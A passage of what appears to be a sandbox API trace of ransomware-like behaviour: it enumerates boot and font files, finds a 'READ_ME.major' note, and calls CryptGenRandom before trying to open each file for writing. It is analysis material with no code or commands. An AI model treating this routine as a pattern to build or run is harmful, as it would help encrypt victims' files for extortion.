(in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0142.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0142.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f268 [0142.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f268 | out: hHeap=0x570000) returned 1 [0142.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0142.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0142.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0142.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef20 | out: hHeap=0x570000) returned 1 [0142.759] FindNextFileW (in: hFindFile=0x60f1a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0142.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0142.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72a0 [0142.759] GetLastError () returned 0x5 [0142.759] SetLastError (dwErrCode=0x5) [0142.759] GetLastError () returned 0x5 [0142.759] SetLastError (dwErrCode=0x5) [0142.759] GetLastError () returned 0x5 [0142.759] SetLastError (dwErrCode=0x5) [0142.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0142.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0142.759] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0142.759] FindNextFileW (in: hFindFile=0x60f1a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0142.759] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72a0 | out: hHeap=0x570000) returned 1 [0142.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7570 [0142.760] GetLastError () returned 0x5 [0142.760] SetLastError (dwErrCode=0x5) [0142.760] GetLastError () returned 0x5 [0142.760] SetLastError (dwErrCode=0x5) [0142.760] GetLastError () returned 0x5 [0142.760] SetLastError (dwErrCode=0x5) [0142.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0142.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0142.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0142.760] FindNextFileW (in: hFindFile=0x60f1a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfe35, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80bfe35, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0142.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7570 | out: hHeap=0x570000) returned 1 [0142.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0142.760] GetLastError () returned 0x5 [0142.760] SetLastError (dwErrCode=0x5) [0142.760] GetLastError () returned 0x5 [0142.760] SetLastError (dwErrCode=0x5) [0142.760] GetLastError () returned 0x5 [0142.760] SetLastError (dwErrCode=0x5) [0142.760] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf58 [0142.760] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf58 | out: hHeap=0x570000) returned 1 [0142.760] FindNextFileW (in: hFindFile=0x60f1a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80bfe35, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x80bfe35, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x80bfe35, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0142.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7888 [0142.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0142.766] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.767] SetFileAttributesW (lpFileName="\\Boot\\fi-FI\\memtest.exe.mui", dwFileAttributes=0x80) returned 0 [0142.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0142.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0142.767] CreateFileW (lpFileName="\\Boot\\fi-FI\\memtest.exe.mui" (normalized: "c:\\boot\\fi-fi\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0142.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7888 | out: hHeap=0x570000) returned 1 [0142.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0142.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0142.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0142.767] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.767] SetFileAttributesW (lpFileName="\\Boot\\fi-FI\\bootmgr.exe.mui", dwFileAttributes=0x80) returned 0 [0142.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0142.767] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0142.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0142.767] CreateFileW (lpFileName="\\Boot\\fi-FI\\bootmgr.exe.mui" (normalized: "c:\\boot\\fi-fi\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0142.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0142.767] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0142.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0142.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0142.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccfa8 [0142.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0142.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cceb8 | out: hHeap=0x570000) returned 1 [0142.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0142.768] FindFirstFileW (in: lpFileName="\\Boot\\Fonts\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x80e611f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x60f3a8 [0142.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7450 | out: hHeap=0x570000) returned 1 [0142.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0142.768] GetLastError () returned 0x5 [0142.768] SetLastError (dwErrCode=0x5) [0142.768] GetLastError () returned 0x5 [0142.768] SetLastError (dwErrCode=0x5) [0142.768] GetLastError () returned 0x5 [0142.768] SetLastError (dwErrCode=0x5) [0142.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ea18 [0142.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0142.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0142.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccda0 [0142.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f5e8 [0142.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f5e8 | out: hHeap=0x570000) returned 1 [0142.768] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40600 [0142.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0142.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccda0 | out: hHeap=0x570000) returned 1 [0142.768] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ea18 | out: hHeap=0x570000) returned 1 [0142.768] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x80e611f, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0142.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0142.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0142.769] GetLastError () returned 0x5 [0142.769] SetLastError (dwErrCode=0x5) [0142.769] GetLastError () returned 0x5 [0142.769] SetLastError (dwErrCode=0x5) [0142.769] GetLastError () returned 0x5 [0142.769] SetLastError (dwErrCode=0x5) [0142.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eb30 [0142.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0142.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0142.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce68 [0142.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x60f268 [0142.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60f268 | out: hHeap=0x570000) returned 1 [0142.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403f0 [0142.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403f0 | out: hHeap=0x570000) returned 1 [0142.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce68 | out: hHeap=0x570000) returned 1 [0142.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eb30 | out: hHeap=0x570000) returned 1 [0142.769] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0142.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0142.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0142.769] GetLastError () returned 0x5 [0142.769] SetLastError (dwErrCode=0x5) [0142.769] GetLastError () returned 0x5 [0142.769] SetLastError (dwErrCode=0x5) [0142.769] GetLastError () returned 0x5 [0142.769] SetLastError (dwErrCode=0x5) [0142.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd78 [0142.769] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd78 | out: hHeap=0x570000) returned 1 [0142.769] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7138 [0142.769] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0142.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0142.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0142.770] GetLastError () returned 0x5 [0142.770] SetLastError (dwErrCode=0x5) [0142.770] GetLastError () returned 0x5 [0142.770] SetLastError (dwErrCode=0x5) [0142.770] GetLastError () returned 0x5 [0142.770] SetLastError (dwErrCode=0x5) [0142.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0142.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0142.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0142.770] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0142.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0142.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.770] GetLastError () returned 0x5 [0142.770] SetLastError (dwErrCode=0x5) [0142.770] GetLastError () returned 0x5 [0142.770] SetLastError (dwErrCode=0x5) [0142.770] GetLastError () returned 0x5 [0142.770] SetLastError (dwErrCode=0x5) [0142.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0142.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0142.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7450 [0142.770] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0142.770] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0142.770] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.770] GetLastError () returned 0x5 [0142.770] SetLastError (dwErrCode=0x5) [0142.770] GetLastError () returned 0x5 [0142.770] SetLastError (dwErrCode=0x5) [0142.770] GetLastError () returned 0x5 [0142.771] SetLastError (dwErrCode=0x5) [0142.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd28 [0142.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd28 | out: hHeap=0x570000) returned 1 [0142.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0142.771] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0142.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0142.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0142.771] GetLastError () returned 0x5 [0142.771] SetLastError (dwErrCode=0x5) [0142.771] GetLastError () returned 0x5 [0142.771] SetLastError (dwErrCode=0x5) [0142.771] GetLastError () returned 0x5 [0142.771] SetLastError (dwErrCode=0x5) [0142.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58eeb0 [0142.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58eeb0 | out: hHeap=0x570000) returned 1 [0142.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0142.771] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0142.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0142.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0142.771] GetLastError () returned 0x5 [0142.771] SetLastError (dwErrCode=0x5) [0142.771] GetLastError () returned 0x5 [0142.771] SetLastError (dwErrCode=0x5) [0142.771] GetLastError () returned 0x5 [0142.771] SetLastError (dwErrCode=0x5) [0142.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd00 [0142.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd00 | out: hHeap=0x570000) returned 1 [0142.771] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0142.771] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0142.771] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0142.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.772] GetLastError () returned 0x5 [0142.772] SetLastError (dwErrCode=0x5) [0142.772] GetLastError () returned 0x5 [0142.772] SetLastError (dwErrCode=0x5) [0142.772] GetLastError () returned 0x5 [0142.772] SetLastError (dwErrCode=0x5) [0142.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ef20 [0142.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ef20 | out: hHeap=0x570000) returned 1 [0142.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0142.772] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0142.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0142.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0142.772] GetLastError () returned 0x5 [0142.772] SetLastError (dwErrCode=0x5) [0142.772] GetLastError () returned 0x5 [0142.772] SetLastError (dwErrCode=0x5) [0142.772] GetLastError () returned 0x5 [0142.772] SetLastError (dwErrCode=0x5) [0142.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccdf0 [0142.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccdf0 | out: hHeap=0x570000) returned 1 [0142.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7408 [0142.772] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0142.772] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0142.772] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.772] GetLastError () returned 0x5 [0142.772] SetLastError (dwErrCode=0x5) [0142.772] GetLastError () returned 0x5 [0142.772] SetLastError (dwErrCode=0x5) [0142.772] GetLastError () returned 0x5 [0142.772] SetLastError (dwErrCode=0x5) [0142.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0142.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0142.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0142.773] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0142.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0142.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0142.773] GetLastError () returned 0x5 [0142.773] SetLastError (dwErrCode=0x5) [0142.773] GetLastError () returned 0x5 [0142.773] SetLastError (dwErrCode=0x5) [0142.773] GetLastError () returned 0x5 [0142.773] SetLastError (dwErrCode=0x5) [0142.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccf30 [0142.773] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0142.773] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70f0 [0142.773] FindNextFileW (in: hFindFile=0x60f3a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, 